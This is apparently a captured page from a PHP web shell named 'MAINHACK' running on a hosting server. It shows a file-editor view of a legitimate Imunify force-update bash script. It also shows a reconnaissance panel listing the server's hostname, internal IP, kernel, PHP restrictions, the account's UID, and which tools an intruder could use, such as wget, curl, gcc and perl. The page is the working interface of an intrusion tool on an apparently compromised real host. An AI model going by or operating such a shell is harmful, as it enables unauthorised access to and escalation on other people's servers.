[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: imunify-force-update.sh
File is not writable. Editing disabled.
#!/usr/bin/env bash set -o pipefail set -o errexit # Script to upgrade ImunifyAV and/or Imunify360 # bypassing gradual rollout PACKAGES='' PRODUCT_AV='imunify-antivirus' PRODUCT_I360='imunify360-firewall' IMUNIFY_ANTIVIRUS_PACKAGES="imunify-antivirus \ ai-bolit \ alt-php-internal \ alt-php-hyperscan \ app-version-detector \ imunify-common \ imunify-notifier \ imunify360-venv \ imunify-core \ imunify-ui" IMUNIFY360_FIREWALL_PACKAGES="imunify360-firewall \ ai-bolit \ alt-php-internal \ alt-php-hyperscan \ app-version-detector \ imunify-common \ imunify-notifier \ imunify360-venv \ imunify-core \ imunify-ui \ imunify-antivirus \ imunify360-php-i360 \ imunify-realtime-av \ imunify360-webshield-bundle \ imunify360-pam \ imunify360-ossec \ cloudlinux-backup-utils \ imunify360-unified-access-logger" IMUNIFY360_FIREWALL_RPM_ONLY_PACKAGES="imunify-auditd-log-reader" detect_ostype() { if [ ! -f /etc/os-release ] then OSTYPE=centos else source /etc/os-release if echo $ID $ID_LIKE | grep debian >/dev/null then OSTYPE=debian else OSTYPE=centos fi fi } detect_product_debian() { if dpkg -l "$PRODUCT_AV" 2>/dev/null | grep -E -q "^i\S?\s{2}${PRODUCT_AV}"; then PACKAGES="$IMUNIFY_ANTIVIRUS_PACKAGES" fi if dpkg -l "$PRODUCT_I360" 2>/dev/null | grep -E -q "^i\S?\s{2}${PRODUCT_I360}"; then PACKAGES="$IMUNIFY360_FIREWALL_PACKAGES" fi } detect_product_centos() { if rpm -q "${PRODUCT_AV}" >/dev/null; then PACKAGES="$IMUNIFY_ANTIVIRUS_PACKAGES" fi if rpm -q "${PRODUCT_I360}" >/dev/null; then PACKAGES="$IMUNIFY360_FIREWALL_PACKAGES \ $IMUNIFY360_FIREWALL_RPM_ONLY_PACKAGES" fi } update_centos() { yum -y update $PACKAGES --enablerepo="imunify360-rollout-*-bypass" } update_debian() { PACKAGES="$(dpkg-query -W -f='${binary:Package}\n' $PACKAGES 2>/dev/null || true)" # first enable rollout bypass repos APT_REPO_PATH="/etc/apt/sources.list.d/imunify-rollout-bypass.list" UPDATE_PARAMS='' cp "${APT_REPO_PATH}.disabled" $APT_REPO_PATH apt-get update # for silent mode # force save old config files. new files will be saved by dpkg if [ "$DEBIAN_FRONTEND" == "noninteractive" ]; then # see dpkg options https://man7.org/linux/man-pages/man1/dpkg.1.html # the same options as in the daily update cronjob </dev/null apt-get install --only-upgrade -y -o "Dpkg::Options::=--force-confdef" -o "Dpkg::Options::=--force-confold" $PACKAGES else # interactive apt-get install --only-upgrade -y $PACKAGES fi rm $APT_REPO_PATH } detect_ostype detect_product_${OSTYPE} if [ -z "$PACKAGES" ]; then echo "Neither ImunifyAV nor Imunify360 found installed" exit 1 fi update_${OSTYPE}
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 691.26 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A